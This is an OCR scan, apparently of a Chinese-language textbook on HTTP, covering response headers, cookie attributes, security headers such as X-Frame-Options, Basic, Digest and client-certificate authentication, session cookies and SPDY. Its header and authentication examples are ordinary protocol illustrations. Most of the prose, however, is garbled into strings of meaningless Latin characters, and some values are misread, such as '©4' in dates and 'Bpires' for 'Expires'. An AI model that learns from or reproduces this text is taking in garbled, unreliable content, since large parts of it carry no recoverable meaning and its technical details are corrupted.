SRS ERRIT MD5 &573R15 80 128 il —Jiil41, )BT Basebd RIBEIGTERS
A Content-MD5 FEHE, BHF HTTP EFJLAICR _HHIE, PTUZ@IY Basebd
RIDRME, NIRIRIROVERM, FRBETHENE P IREXIRM EARBRNT —RIE
FH MD5 &%, HHBHNESTRIEERG, MTHMIHIR A&,

RAXIE, WABSERIBEMNERINEIE, EAMOULERESR.
P—PRELT, ASUREBREN, BLONERE Content-MD5 th /&5t
BREWEN. FUMBENNENEFPIKRRITERIRENR S AR ST
Content-MD5 22 &4 &E 00T,

6.6.7 Content-Range



ehepihELs R

S 000 T &
& % F s001~10000 F T
& F Bl
HTTP/1.1 206 Partial Content

Date: Wed, 04 Jul 2012 07:28:03 GMT
Content-Range: bytes 5001-10000/10000
Content-Length: 5000

Content-Type: image/jpeg

Content-Range: bytes 5001-10000/10000

HXSEEER, ROV ERNEHSE Content-Range, BESAIE ifFIyIER
g@ﬂ@iﬁ%@ﬂﬂﬁ%{%ﬁﬁ%@%% FERENUTDREN, RNZEIREBIR
PSRRI o

6.6.8 Content-Type

Content-Type: text/html; charset=UTF-8
E/EPFE Content-Type 583 3 SRUAE(RAITY REVRIARKAL FIEHFE Accept —
#, SEREF type/subtype FE TR Eo

3 charset {53 is0-8859-1 5, euc-jp EZRFEHTIRHE.



6.6.9 Expires

5 BT KRB
w2 F 10«8

EFiR 5

Expires: Wed, @4 Jul 2012 ©8:26:05 GMT

EPFER Bpires DRFIREBNBRSIE k. BERIBEBNESTERS
% Expires NIARZ/G, SMUEBRMUEIER, 7 Expires ZE{EISENNE 2RI, 10
NOBEIAS—ERIRG. YBIEENNEG, EERFVBEERRXIKE, =
FORRSSBIER TR

RIRSBABBESRIBITRERN, RIBE Bpires TRASASEHHZE
Date 18@896YIE1ES

B2, YEIFTER Cache-Control HIETE max-age 5N, L& ER Expires,
BILHRNE max-age 155,

6.6.10 Last-Modified

ZEBE 2002 s B 2 BRERY

MR5 2



Last-Modified: Wed, 23 May 2012 ©9:59:55 GMT

BT Last-Modified I583ERRARBNEUTE. —AsK, X TMERZ Request-
URISESIRBIEEN 8. BELUEA CCl AR TISEIBMEN, %EET
BERTHARRABRNEE.



6.7 7y Cookie REHWEH LT KR

BIRIRSEES5Z/ 2 [EIRSH Cooke, BARISEWMAIRAEL HTTPA.1 6
RFC2616 &b, {87F Web Mib/5 B82S 52 HINAB.

Cookie Y TEHHIRAFPIRAIBRTSIER, Web Wity 35 BIRAFEIRTEB
Web 33 %88, IE—LHIBIFN S A\BFEITENA. %EéﬁﬁFﬁﬁ@ﬁWeb%iﬁ
i, IEIEEHINROZEIRBE Cooke,

V88 Cookie B, BTG Cookie IERHI, MR RXHHE, BE. DINEHFS
2, PIMEMIREH Cookie NEIAUEN SRS Hith Web I mFIK S UK Gt

F 201357, Cooke BIHUSIRENISBEUT 47,
B R A T AR B LA b

MRIBEATRITFFITAS Cookie, FHIEBREIMIEITAE. 1994 F5i/5, Cooke
ERGBENENEED, SATRTERL Cooke Hrbe b IR,

RFC2109

WS LIRITE AT Cookie HUBIH{TIREN S5 . RANTEZBIMNKAT
HEINERBNA, TERETMYNER. IELFESKE T ANONE,

RFC2965

FRLS Internet Explorer 3 1528 5 Netscape Navigator BT /2= 5 SEEIN S5 8868
%, RFC2965 ATENX 5 #BI HTTP &0 Set-Cookie2 ] Cookie2, TESLtE, ©AI/L
PRELRNER.

RFC6265

BRI R AT EIEOWREE R FRBRINE (De facto standard) , F#iiE X Cookie i
B,

BRI 5269 Cooke InEAIRZ RFC PENNELG—, MREMKATH
R DHITH RE0 .



R TR BRIERHN 28 RV ER TR,

TENRIEAIET S Cooke BRINEHFE.

7 6-8: Jy Cookie R 3BV & M &

HEPRFER W8 g%&%’é
Set-Cookie :Hﬁﬂﬁﬁ&%‘ﬁﬁﬁ@ﬁ ICookiefs 0 ggﬂ
= HFER

i o Ry
Cookie R 28U ZIBICo0kel5 2 bt}

Set-Cookie & B

9 § & 4 Cookie

el
_

£f334 il
Cookie 3

Cookie & #B

6.7.1 Set-Cookie

Set-Cookie: status=enable; expires=Tue, ©5 Jul 2011 ©7:26:31 GMT; path=

< >



LRFBESTHEBRELIRIVRTSN, 2B5SHSER.

TEHNEKYIET Set-Cookie HIZZEE,

% 6-9: Set-Cookie = £3 (V& It

B 88

NAME=VALUE fil¥> Cookie BIRATFIEHE (IR

expires=DATE Cookie BYERER (ENBFIHBEMEIANYEES

KARINLE)
et=PATH YIRS 2B LIS B RIENCooke BRI
(BAIBENBINNSALEREBR)

- {E)9 Cookie IEFAYRMIEIR  (BAIBENSIAR
domain={3 B Cookie AR BNS)
Secure NI HTTPS L2Bi5 Z 5 K% Cookie
HttpOnly JOCABRAI, {85 Cookie AREEH JavaScript B ASi/515)

expires B £

Cookie B expires [BILIEEM 53850 &% Cookie HIFM.

LA expires FBILY, HBBHEANRTLRIIINEEIE (Session) FNERA, Xi@
RTINS BN FBIRFRAR K A 2 Bl

758, —B Cookie NIRFSSSImAREZ i, RSesimal NI UT MR
g:ncﬁ;lde 575, BTEUEEDIIMEY Cooke, SKIXYEF i Cookie BISKAIMEMIER
RIF.



path & I+

Cookie 8] path BT FIRMHIEE Cookie BYRIXBENNHFER. NIRENET
BFHXTPRE, SRVEFENLZ2AG ORI ERER.

domain B4

J&@)J Cookie B) domain EI4EENERIME SERLE —H. thil, HEE
example.com f5, & example.com DA%k, wwwexample.com gf, www2.example.com Z5&R
AR IE Cookie,

@%, IR E Y EMRIBTEN D ME R R % Cookie 2 A, RIETE domain B T1SE
L,

secure [& 14

Cookie 8 secure EIMA TR Web TEXAE HTTPS 24BN, ATMULR
Cookie,

Rix Cookie fY, IEE secure EMEVTAW T HT.
Set-Cookie: name=value; secure

BUEBISXS7E https://wwwexample.com/ (HTTPS) L2 EMIEN N AT
Cookie IO, thpi@ik, BNEANZEE, http/mwwexample.cony (HTTP) th A&
4= Cookie @UTIT .

LA secure FBIEHY, NG HTTPIAR HTTPS, AT Cookie i {TOIL,
HttpOnly & 14

Cookie 59 HttpOnly [E/12 Cookie B34 FRINAE, T JavaScript AT ERS
Cookie, EFEEH M IEEISMARIT (Cross-site scripting, XSS) Xy Cookie £
EREBE.

RIZFETE HitpOnly EIH Cookie BY/57A40 T FTR.



Set-Cookie: name=value; HttpOnly

B ERRE, WM Web TEIAIRTI LAY Cookie i {TIEVRIE. 1BEFA
JavaScript 89 document.cookie 77057 152BWHI 10 HttpOnly &/14/56Y Cookie IRE 5 o
R, HRTTELE XSS hAF JavaScript #)1F Cookie 5o

BRZIRIEW EINEE, (B Internet Explorer 6 SP1 DL FhRAZE 2 N HI L7 V58520
PESFZY RS . BINNE—IR, 127 EBHIERN L XSS M aH.

6.7.2 Cookie

Cookie: status=enable

BT Cookie ZEMIRFes, BB IKEIRG HTTP IRSEBIEISHN, et
;@%%%MHE%%S%WEUES Cookie, #NEIZ Cookie fY, EHFIUZ Cookie
PRI



68 HiEPFR

HTTP S ERIUBITH R, AU Web IRBESFNHBEONA L, SN
SHIFRENEBFR.

BTk, 3 —LSENSANERFEHITIRE.
o X-Frame-Options
® X-XSS-Protection
e DNT

e P3P

6.8.1 X-Frame-Options

X-Frame-Options: DENY

HHZER X-Frame-Options [EF HTTP 0aR/ 580, T2 HIMus A E (D Web M)
U580 Frame iR ANE NI, HEBBNRN SLEREER (clickackng) B

BB X-Frame-Options BUTH NI EENFTERIE,
e DENY: j54

e SAMEORIGIN : {X[ERS NEYTAE (Top-level-browsing-context) ULECHY
W, (thal, #E7E http://hackrjp/sample.html TAE 'y SAMEORIGIN Y,
A0~ hackrjp EFTETIEEY frame E# VI NIEIZAE, M example.com
EZEMERNNEMATS)

THERZEPTERAVILEEEE : Internet Explorer 8, Firefox3.6.9+, Chrome
4.1.249.1042+ ., Safari 4+ #0 Opera 10.50+ %, WD REPU T REBE R L.

BETE P BY Web fRSSSBIMTSTIRELS X-Frame-Options BB RIZBIVRTS.



3 apache2.conf 892 & 25|

<IfModule mod_headers.c>
Header append X-FRAME-OPTIONS "SAMEORIGIN"
</IfModule>

6.8.2 X-XSS-Protection

X-XSS-Protection: 1

EPFER X-XSS-Protection BF HTTP I/ S8, BREBIHHALE (XSS)
B—FOXIER, AT 588 XSS B HL A6 X,

HEZER X-XSS-Protection JHEENFEEW T
o 0: & XSS IRBEMTRAT

o 1: % XSS TMEEMNBRAT

6.8.3 DNT

KRERKDHE
£ udhRe!

DNT &6

EPFEDNT BT HTTPiEKEES, Hcp DNT 2 Do Not Track 594K, =IvigH



TAESHNE, BRENELEIEE SBIRN 5%,
EH=E DNT e =R(EW T,

* 0: EFWIBHR

o 1: BBWIBIR

BT EETE DNT NIDRER BB, P Web iR5583HERY DNT IR

°

6.84 P3P

P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IN

< >

YR PP BT HTTP 8 & 80, ®IIFIA P3P (The Platform for Privacy
Preferences, EA&RFMRISEFEE) R, ML Web M5 I ARRFAZERL—FB{X
HIZRTR@RNFR, MWARIRFBFRLNEN.

TIHIT P3P BNRE, RIEUTRIELTHT.
HE1: Bl P3P BAL

IR 2: B PP RALIEBAESS, IREMHBE wicpdpaxml 25 B 3: M P3P 2Lt
#1%22 Compact policies /5, #HZEI HTTP lgz 4

BX P3P IFHBASCINEBS S otk
o The Platform for PrivacyPreferences 1.0 (P3P1.0) Specification
http:/Awww3.org/TR/P3P/

L P XY X-F 4R 09 & R


http://www.w3.org/TR/P3P/

£ HTTP E201I D, BULGIRESEILAIR X, KXATmES
., FHEPBLARENSHIE T RENTEE. BRIXOELBROVEE
EOEML—, HILERFC 6648 - Deprecating the "X-" Prefixand
Similar Constructs in Application Protocols” 212 | FiZil%.

R, WELEBADR X-RIZRE, AEIZERELE,



ETE THIR Web Z2 8 HTIPS

£ HTTP NP B IEGHESHITHAS N INESL M. A HTTPS B
IUBRUERL LRI, KEHA TH—T HTTPS,




71

HTTP 89 iR 2

AN, B2 THEE HTTP SBESIFNSERE—E, AT HTTP FHIER
BEN—E, SNEEMREN, TERETR 2.

HTTP F2EXLARRE, FIE0T.

BEEABVX (RN%) , ATITERWGIT
ABREBEHNSH, RtETREBNE

TEEARINTENE, IUNETESEEN

IXLERAANRAE HTTP £, EMRIZODN P EEEEX K0,

BRItz HTTP AZEBRZMRR. MH, EEERFELRTER Web iR e3FRE
89 Web 55257 ST A PHFANRE (BILIERERBUILZDRE) , B
Sh, B8 Java# PHP HRIZIFS AL Web N B TR EL 2R,

711

BEEBBNIESHEBIT

BT HTTP ASRESNBOVIEE, PIUBIEMRERBEEA (A HTTP iy
i@)ﬁ%ﬁ?ﬁﬁ@%ﬁlﬁ@ﬂ@) HHTIR. BN, HTTPRIMEMAIEY (BREINBHR
I ~o

TCPIIP 2 O BE 4 E5 I BYM 48

WRZBEANLBENANBR—NRR, XREN, & TCPIP HE
TIFHE, BIEASEMENBEAE L BEITEEIFTN.

PTEEEAN, ROEEBISHEROMBERN. TISHRIPEENRS
BEABIMBEN, ENBGELE ENELMBIRE. 4, HENSEE
RYERPANLE, FURHRE M DO ERBRFUTR.

AERATNZRBNEGS, HaRANIBENS, XRIKRIBHNREES
=BEN. [JIRFAORBEEINE, RETEULATERBRIUERNS
X, ENZREENRESELSIEREHRERN.



i =l

HtbE P

C BEEREM ENEOBEREEREASRTITONG

FITIEDE LB ITIPES. JFZ2WERLEM SANENER ()
AT o XFUEERBVBIBDNMATLIE, TRGHLNE (Packet
Capture) S{IRIRES (Sniffer) TR,

TENERTOIRRE ZERNIME A Wireshark, ©IDIREXHTTP
DNENERFARNNAS, FHXTEH TR

BB GET /oA R I ER. IORIROS 200 0K, & HTTP IR %
BASE—RIINBEBIUHE.



o S et Fokics Lengih ks

292,321205,. 203,180, 205,112
503584674 203.488,208.113

rrat Britacel varybim 4
rasT 53100 CONEr D) PTG

& : Wireshark (http:/www.wireshark.org/)

RN 25 LE 3R E5 0T

EBRIAKIEARARBITRG LEES W%FE B IRXIRD, SANEREIR
RNEEAR, NBEAVRIUEXAD

BENNZ

—MAERMBIEENE. HTTP PR E NN, BTLURIF
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HWENARGIEHMAAER TesaltVEBZNS M. H—Hik, BITERMAMLH
%B%ﬁ%%ﬁiﬁa i, NITFBEAZLEETRSE, MELTONSFHER
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TR, MEEENORSBHINSHRESRueno, BHRBBERXRABTMIK
o NN ueno RARBENEGNIARFANIR, MBEREN EREEAZIE
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e BASICIAIE (EAINE)

e DIGESTIAIE (FZIAIE)
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e FormBase A (ETFXREIAIL)
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8.2 BASIC IAIE
BASIC AIE (EANIAIE) 2M HTTPA.0 FiE N ENAIES e BIERIMEDE —S5
HMIEERIXFMAET R 2 Web iR% 88 SBIEE I TEHAIES Re

BASIC IAIE BIAIE 25 B

RIEWER
@ GET /private/ HTTP/1.1
B Host: hackr.jp

s
B DEEHRZI3401 MERE P i BEHTIME
HTTP/1.1 401 Authorization Required
Date: Mon, 19 Sep 2011 08:38:32 GMT o
Server: Apache/2.2.3 (Unix) B 5585
WWW-Authenticate: Basic realm="Input Your ID and Password."

@ P DAL Base64 TR RIDSG K%
@ 5 guest:guest — Base64 — Z3VIc3Q6Z3VIc3Q=
il GET fprivate/ HTTP/1.1
Host: hackr.jp
Authorization: Basic Z3VIc3Q6Z3VIc3Q=
BINFAL B FRERZSHS 200, HIAUF K MK BIRZSES 401

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 08:38:35 GMT
Server: Apache/2.2.3 (Unix)

: BASIC IAIE#EE

LB 1. BERNFREE BASIC IANEN, RFESSHIRTE 401 Authorization
Required, 1RO WWW-Authenticate B 8= E:0300R. 1ZFEABSIAENGT
(BASIC) J}: Request-URI 22155 #F&8 (realm) .

SR 2. BUEPATES 401 P 3@ BASIC INE, FE2RAF ID REH
RIFEBIRFBEW. REOTHBASZHA, ID FIBBME, MEPEUES () &
#/5, BE1Y Baseb4 JRIDRME,

{RIZFAF ID 7y guest, HE32 guest, ERFHERERATVAL guestguest IXFFEIFAF
8, REEIY Basebd fRi3, RENERENR Z3VIc3Q6Z3VIc3Q=, EXBZ/FRT
AEHPZFEL Authorization f5, RIXIER.

LRPRIENNESEE, BPNFEARP ID BT, 26, MEEEEmT



Bt E| Baseb4 4mi3aVEEIR T 1E,

WRARPENEE

€@  rosmecoipmrmeames,

mAE: | ]
ea: |

az | mE |
L ax || ®

IR 3. BB TP Authorization IEREIRS S, SXNAESTHERMKE
HTHUE. WEIEEY, WEO—XEBS Request-URI ZHRENAR,

BASIC IAMEE AR Base6d fi3ST, EXAZNEAE. AERIETMWESE
TVEMRD. RS2, BTANEREMEMRF, IDF1ZH, £ HTTP R 128RE
H£:E8_EiHfT BASIC IMERITIED, WRWAGIT, REANTREMRS.

SO, BRILZIMEEIH{T—R BASIC IAIER, —AREUAIMeE AR E 418
1F, XBRAMZ—.

BASIC IMEAB_ENBEERE, BIAREIZH Web MISHENLZ 2SR, Bt
CHAEMA.



8.3 DIGEST IAiE

IR BASIC IAIEBARSSS, M HTTPA.1 23475 5 DIGEST AiF. DIGEST A
gggﬁgﬁﬁ%ﬂ 8RB/, (challengeresponse) , 1BR£1% BASIC INEAMEERE
oz BVELIEN

FHBEUARN O TUREE, —THE—AREAXNERRES—T, BEEANS—
HENENRSE T EERANE. RERBIBNIDROGSHITIMESNS .

TNEE K A
By 7
R
€
MR L&)
Wi WREL . EEE
rd

RNAIXENTH ORI R R BRI~ E0TEER, FULLE BASIC A
I, BIEHENTRMRRES.

DIGEST A BYTAE 25 B



BFEER
@ GET /digest/ HTTP/1.1
EA Host: hackr.jp

Zem ORI ORI BT, nonce MRS NBEIAEL

RZ515401
HTTP/1.1 401 Authorization Required

WWW-Authenticate: Digest realm="DIGEST",
nonce="MOSQZ0itBAA=44abh6784cc9cbfc605a500893d3623de BR%E8
95fcff", algorithm=MD5, qop="auth"

@ QFERE R ARSI E H 608 RS ( response )

m GET /digest/ HTTP/1.1

Host: hackr.jp
Authorization: Digest username="guest", realm="DIGEST",
nonce="MOSQZ0itBAA=44abb6784ccIcbfc605a5b0893d36f23de95f
cff', uri="/digest/", algorithm=MD5,
response="df56389ba3f7c52e9d7551115d67472f", qop=auth,
nc=00000001, cnonce="082c875dcb2ca740"

GIMERTIEENAZSAG 200, %KMK K HIRAFL 401
HTTP/1.1 200 OK
Authentication-nfo:
rspauth="f218e9ddb407a3d16f2f7d2c4097€900",
cnonce="082c875dcb2ca740", nc=00000001, gop=auth

: DIGEST IAIE#] &

SBA: BERFBNENTRE, RBBMEBINGH 401 Authorization Required,
IR @# WWW-Authenticate & 335 E2 89008, 1ZZFERAB B RIOION S IANEFER
I5EYBNEES (BEHLEY, nonce) o

BB ER WWW-Authenticate AINATE S realm F0 nonce XA NSRS R. & 0n
MR EORSSBOEXF MEFTINEN.

nonce 2 —fPEREEIROBY 401 1M+ REVE BN AR, RSB BHREETH
Base64 fRiSHY+7IHBIMEVEAKIER, (ERFRASHKIRSESNEALH.

SR 2: BUTE 401 RTBRRS 0, ROE06RPEE DIGEST IMELAIEE
S2E& Authorization 58,

EHEPSER Authorization RINIIE S username, realm, nonce, uri F0 response 8%
BIE5R. EP, realm#0 nonce 72 2 B MRS S EUINEIHIAR P TR,



username 2 realm IR ESBEA I TINESIRB 3.

uri (digest-uri) B[] Request URI 898, BZEIERIBEAG Request-URI BY{ET]
BERIBN, RILBERES—HE 2&1%7?& uri A

response tQJ0Uf Request-Digest, FREIT MD5 IzBEGHNBBZRE, AN

Ho

IR h EAMHIHRES N 6 EONEKREPTE Au'(horlza'ﬂonD 28, BX
Request-Digest B9t EHNERE 7, BHBENEZERITRAS S —F RFC2617,

H 1 3 EINIESE YR Authorization 1ERIIIRSES, SIANESSHNER
Mo INEBIBNREES Request-URI ZHRHIIAR

FHEXNAESIHFE Authentication-Info 5\ —LAAERLTIBMEXRIER.

DIGEST IAIF#E{# 5 & F BASIC INENZ2ER, B2 HTTPS BUEFIRIAIEE
Eb@gﬁ%ﬂm%ﬂ NSRS IF TSRS ITEURIPHLE, BHABEIEB,R

DIGEST IAUEA0 BASIC IAME—#¥, A EAHABRRE, BIHAREIZE Web M
N EELESRMERINE. RtENERCEBEMSR,



8.4 SSL B URIAIE
MEBAF ID ABBONAEL RN OERY, FRBE_SNASIER, BTNERERA

BTN, BURAF ID BEHE, MRETERE=ZER. B SSLEFiHA
AN T B KB B R

SSL ZFIRAIERE S HTTPS IS PIREBTERUAEN N, FEEFIHIED (7E
HTTPS —Z2 ) AIE, REB[BIBWNNARESRECERNE .

8.4.1 SSL &= i IAE BV IAE 5 B

NIRE SSLEFIMAENEY, REBLEELIMEDIREE i, BB IH
MLREMATF B

BB BRIIRBINEFRNER, RSB\EKIE Certificate Request i3, &
REPIHRHEEPIRETD.

W 2: BPERRAZENEFLIMEDG, BFHAIESFPIHEDBESU Client
Certificate IR 5 RIELIRS R0

= =23
| = (s amE

A Etes
ErErmannT:
~HUAE AN
- REETELENTNR Y
EEOLE L RRAL IR P ]
w2 UG R L LETNL 4

- AR, BOTTIRE R

WER: el oty ip
WEW:  veriSige Clase 7 Exbaeses Waliseties S50
ey

WERY R W W R EES E-

TR

B: BRELPIKIED T (ZEHRR UFJRIT)



BB 3. RESRIEBLIHEDRERIGHITRNEBABIHNATEER, R
&8 HTTPS N1%E(S.

842 SSLZFIRIAERBNERUNIE

HEZHBER T, SSLEFIRMANERASIUKEIEDTROANE, —REFETFTRBINE
(EEWHER) AER—TINAZRIAE (Two-factor authentication) SREM. FTBEMN
RRBNERRZE, INEIRPANEEBEX—HER, FREPFALSREE
HWRBEER, NMEAB—TRR, SEASERINAELR.

Sz, F—MAERERN SSLEPIEDAKAES iRt &, 55— MAER
?Eﬂ%ﬁ%)ﬂﬁﬁ%ﬁ%mﬁzﬁﬁpﬁ/\ﬂ’]nhc

BURERAES, MIUBAREFPAAELEALRERNTTENIRRS

°

843 SSLEPIURIAEMNEHNZEA
B SSL B IMAERERAS P IHIED. MBFIHIEDEEXT—CRATBEE

°

XBRINFARE, MAEVBIEREIIEBHNER, URRSSEEZNR
B CERIMMENAZ 2T B~ 0% AE.

EMMENEMARSPIRIEDORAIRMEE), PRI —KEDLE, —FERAA/L
g%gpgg% REBTEZHIUSSERNENG, BRERLZEETME



85 ETRBINIE

ETRPENETEFNRA HTTP DI PENT., S ina0R%5es L6 Web 7
BERRFERES (Credential) , ZERSIHVRIESRIAILE,

1RAE Web RZFBIEfPHSRIRZ 4, RFHAFPRESMMES RS AMEE.

C&ﬂjlummam

‘Google Hfithoa FEEIS,
Gmail MFRIEEN | MFMMETLENEN. MM | W =
R, S, Gmal RALTRA Cavgle WP
@ e |
10 Google FEEHEAT S TRHEF QAL b
o pattpenmyle com
e
FHAE
s vk com | W « BB
TEATEY EEGma, TREINN L LA
@ 5 =
73 7407, 196475 MB | IEAEFETINI ) D ATHES
.
YRR Gmail? EROESE
PG | ML TR, THESHS, 8
R -

: BEFRBIERS (Google)

ZHERT, WMADEEERNAF ID (BESERSRBRHIL) 0ZBE
BRIETE, KRS Web AER, ETMESRIREBINEREMRI.

851 NEZFNEFRPIANE

BT EA ENENMRZEMER, HTTP IDIRERFH BASIC IAIEF DIGEST
WEVFRNELEH. B9, SSLBFPIFAEEREESENLZ2ER, BANS
AREERTRRSEOR, BHRER.

£L20 SSH A0 FTP 1hiY, AR%ESSEFinw BENNERS FARENDH, HERR S
REANINETK ENZ2EAR, RILXLMYENMETUSKERHDE. 8
RXTTF Web MISENAEIIRE, BEBRRHZ2EARANRENTHAEE, MU



RIS Web N B12HES B TMETREHAES .

REGHARENSEORPINE, £5 Web Mis FEBEEZAEREITI5 N
WRREBEEILEMEMINNRSINE, BLMEBRESENLZ2ER,
BERPINEIKI PRI Web MIGHR BN A&,

8.5.2 Session B2 [ Cookie i F3

%?:iﬁi)\iﬁﬂ'ﬂﬁ/&ﬂ%ﬁjﬁﬁﬁﬁi@, —fRE{EF Cookie SKEIP Session (&
1B) o

EFRPNEASRBIIRS IR Web (7, RBZFIHASIREVEF ID A%
52 /18RI 8IS RIRLESHTIAES.

BET HTTP BIORATIDIN, ZRIEIMERDEE PRSI EBE DIRERE T
ko B, TESIWATEE, RIANEIZAEA T —RESNE, BIEXDMS
EMBVE,. TRHIEIEA Cookie SKEIE Session, LSRN HTTP il cp R 57

HORSEIRIAE.

BRI H5E
D REEBEREL (AFID, BH)

N
7 | M &M Session
(2) %1% % Session ID#ICookie D, ERIMERA
Set-Cookie: PHPSESSID=028a8c...;
3
(3 %% £)%4 Session ID#ICookie b ii\}ﬁﬁiESesgon
Cookie: PHPSESSID=028a8c... IDRHAERHTRE
N KA

: Session B2 & Cookie ik 5 EIE

BB ZPIHIEAR ID AZREEREBVRARYOKER, BHIZUPOST
TIEIRERRIEGIRSES. MIXEY, 2EEH HTTPS BISHHT HTML RE@H
BRBPEASIEN A%,



H] 2. REB[BESRBBLURIAE P Session ID, @I INIE MR & %I 5REY
BREBFTHHINE, RBEMLEIAPRTS Session ID HEBIRREMSES
o

OE PR O0EREY, =S8 E: Set-Cooke WS A Session ID (40
PHPSESSID=028a8c...) -

IRILUE Session ID FBEH—TdEUX D REEFHES,

R, 2R Session ID EE=77RE, XTI LUNERIROIS B THRRIRE
To RN LE Session ID 4225, SUHIEL. N TMENXR, Session ID [/
HEUENNZTS, BRSBHODF2HTERANER, RIEHLZSM.

%ﬁ FREBIHARE (XSS) 1EABUNRLK, #iNBYE#E Cookie AN httponly

I 3 BPInENEI MRS SRR KLY Session ID [5, 2REAEN Cookie IRF57E
i, TROMFSIESAIXBERE, Nsses=E A% Cookie, BT Session ID tfE
2 RIEEIIRSES. ARDESIHT B WU IIEIE Session ID RBIFAEFFIFEIAUER

<
7o

RS MUENBRN AP, BN BREAMARESENZEE.

725, MIETRBINENBRES RAENEE TR ENHTDZE, RSESIHA
TRBAFPRENEREERERFRREIMEL.

JE%*, —RLREITER, SHRLTEN (sat) | RHRBIFOIMES,
BERHD (hash) RETEHEDIEGRE. ELRINBEEBIERREANL
BRSHE, MEXFNRERESBBEHEENN.

1 salt EIR R BRBSBENERN — NGB, BREFRIEKERBK, FHRA
IEREHAERSY. RERENBRTTBEERE FIEHIN) LHMEOIE. SMmD
APERTSE— RN, BFEIEMS satERE, INNFIIETRREAE
o XFFE—%, RARE DRDTBIRRHE, WESHMEENRE2FPNER
RHIEEEH TR AR FEE




#£9ZT ET HTP B9INEE B MY

SR HTTP PUETE S X ERE, BREENITHAR, HINEEEMA RN RS
2208, ASRIVBIHBRET HTTP FNBHNINEEHIDI.




9.1 ET HTTP )

AR HTTP ARENLEE, SIS E R8I0 HTTP HiEEHE HTML SUSE9101. b8
BNHARE, Web NRGEISHEN, tHUDRMELIIYIMIG. SNS (Social
Networking Service, #ZMERSE) . BUKARATNSHERTE, £5.

X LM G PMERBVINEET &I Web M FFIMIAIE RS, BIBXLTNEE AR
TR, EMEE EAIRMNRIT, XRREN HTTP DY EHNRGEIMR S SR,

HTTP D)ge EEIAR Bl —E2 MV DICKIRY. J2ERET HTTPHY
Web J55888VEARIARLBREIR, BUTTETEMA HTTP. B—LHIDIEA
NRET HTTP &, FFEULEY B0 S #BITEE.



9.2 JBFR HTTP i #1689 SPDY

Google £ 2010 %77 5 SPDY (HIE SPeeDY, K& speedy) , EFFRERSHE
fRR HTTP BYMEAEHRER, 4878 Web NEIEVANEEIIE (50%) o

e SPDY - The Chromium Projects
http:/Amww.chromium.org/spdy/

9.21 HTTP 89 31

7 Facebook £ Twitter & SNS Wi L, J1F BRI NRLEEMATTARHIA
B, XIWR—PFB. B8, I THRBLRHATE, Web Mgl TIREFIXLE
AR, HRENNEAMSREREBNASEH.

NS RISV B X LS HNNS, B —BASEH, MHEREHCH
%g?&%@]%)jﬁﬂ'ﬂﬁﬁio BRECRKEFLE, B HTTP HTAZ SR
UESS.

1R HTTP MIURAAR 388 EREBATEH, FNIVRZIN NS i 2RSS esi
BTN WRRSSB OEBASEH, BLMETEREDNBES.

SIBEIE Web SCHUAHRHUINAEE, MU TIXL HTTP IREM SRR,
o —FEEERIRE—TER.
o BERREMNBPIHIFIE. S/ AT UEBERIN UIINES.
o BERINUEPREEEMARE. EWE[/MBLTRLK.
o REAKNEH. SREB/REBANESBPEMOVRERZ,

o JEBMBRBBEEBN. FRAEERIE.


http://www.chromium.org/spdy/

ik = .
I
‘ N
BERHESY
BRE R
wx
SRBTIER R EH - e
Bkt

P ——————

B: MEig) HTTP @S
Ajax R R 575

Ajax (Asynchronous JavaScriptand XML, & #5 JavaScript § XML R) 2—fE

4R F3 JavaScript £ DOM  (Document Object Model, STASSYSASHY) HIRME, LUA
F[F8B Web MEBRNBNZ S BE TR, FOUANEL RSB, BFEREH
—EHNE, 1O PEROBIFEELELMED, X—MREMB M.

Ajax 9715 K 279 XMLHttpRequest 8 API, &@3J JavaScript FIAIE S 891EAER
BEAIARS3 83T HTTP @15, BEXIPFE, MEEMEIIHTEH Web NHE LAR
BR, REHFEA@.

MAA Alax RIS MR S3ESIRIAS, BIERSHABIERTE. 25, Aaxid
KR HTTP DA S B ENIRNM.
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P R
RIEHIA Bk
BEHER
Bk R
S
<NEHNFBE
- ST >
W3k
—_—
FREBPEAIREARR A E BERE
LoIN FARE
PR s s S BRE
: Ajax @15
Comet JUf# R 575

—BRJBINEABEH 5, Comet AolLERER, MEERESS RO
[, XR—IPBILRAE, RIUSIRSSBIMOS iiEx (Server Push) BIT)

e
Bego

BR, BEBmENEER, EARTEEMAIBIROEN, By 3 KRN
g2, Comet 2/0RION B TERNTS, HBRFPBIMENSEMN, BROZIA,
B, REBEH—EBEH, RIUIRRREE .

WS L BRILURBIKINES, By 5 IRBIGN, —REERNHENEBREK T,
gﬁﬁgéﬁﬁﬁﬁﬁ%ﬁﬁgﬁﬁﬁo%%,Cmﬂﬁ%%@&HﬂPW&K%
S,




BPi PR
K
<{RBWRE
~ ESS5-): T Y
TR HEH>
<TLMREH —B B
BB > EE WA
K
REPEEZEER A E
(srmanzsnnnEy ) . P——
- BEBELE

: Comet @{5
SPDY 898 #r

ISR INEY Ajax 70 Comet FIRBZAMEIR AR, —EIEE LB HTTP 553 E,
B HTTP INASHIRGEIESABLERFLR. N THTRAMNNE, FRE—
Lo R E YA ED.

RFHRETTRREPE SPDY 11, [ERN T EDINERIEER HTTP PLgiBaiHh

No

9.22 SPDY I8t S5IhAE

SPDY 2 E5E2MNE HTTP iy, M2 TCPIP N ABRE SRR 2 8BIHNE
1BENRINGEF. B, BEIZ2MEGM, SPDY MEBEPERA SSL.

SPDY UZERHFRIA, EHIXNKEIORE, BIRRRAE HTTP RILBEE
. A, TRBEHHTTP 8 GET 40 POST %J5 &, Cookie DK HTTP 3832

%,



—

[ SPCY ] iEE
[ SsL ] HFE
[ Tcp J e

SPOY A FTCPISSLI FIHTTR 2 8
B : SPDY Mi& it
EF8 SPDY f§, HTTP iEINRISU T INEE,
SBERR

BE 8 TCP EE, JULREIAMES D HTTP &R, FIEIEROVMERE—%
TCP %8 F5eak, WU TCP HIAMEMKRSINRS.

T TR ER

SPDY NN MMM H A MBIER, WIS ERE T DEMERINT. XFE
BENTERESMERN, BRRRTERMSHONE @0,

[E4 HTTP &5

Ejﬂ%)‘-{TTP ERADZBTEE. XK, BEENHEEHEBRENT T
»

HIXIDEE

SHRIRSETMOT IR EIENINEE. X, RESTERREHIE, ML
ERBPMIVER.

MRS5S R INBE



REBIULMRTBLIHERIBNER. BFES IHANER AT IR
HNERNEE, BRERREEBTSER T, TURRRENVENER.

9.2.3 SPDY HR Web i 31 5 19

LB SPDY Y, Web SIS 2R BICKE, 1M Web 35588 K Web i
